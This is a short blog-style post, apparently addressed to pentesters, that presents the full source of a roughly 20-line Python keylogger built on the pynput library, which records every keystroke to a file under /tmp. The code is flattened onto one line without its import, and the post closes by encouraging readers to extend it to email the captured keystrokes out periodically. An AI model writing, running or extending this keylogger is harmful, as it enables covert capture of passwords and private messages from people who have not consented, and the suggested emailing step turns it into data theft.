I am sure you have already heard the term keylogger since you're a geek and you're visiting this website.
If you don’t know, let me explain very quickly, a Keylogger as its name indicates, is a tool that captures your keystroke* and saves them somewhere.
If you're a pentester, I am sure you have such tools in your bag 💻.
We are using python as a scripting language and pynput library to capture keyboard events.
Here is the full code, exactly 20 lines, the code explains itself.
class Keylogger: def __init__(self): self.keylogs = '/tmp/keylogs.logs' self.keylogsfile = open(self.keylogs, 'a+') def callback(self, key): try: self.keylogsfile.write(key.char) except AttributeError: special_key = str(key) if special_key == 'Key.enter': special_key = '\n' if special_key == 'Key.space': special_key = ' ' self.keylogsfile.write(special_key) def run(self): with keyboard.Listener(on_press=self.callback) as l: l.join() def stop(self): self.keylogsfile.close()
If you have time, you could extend this code to send captured keystrokes via email periodically 😉
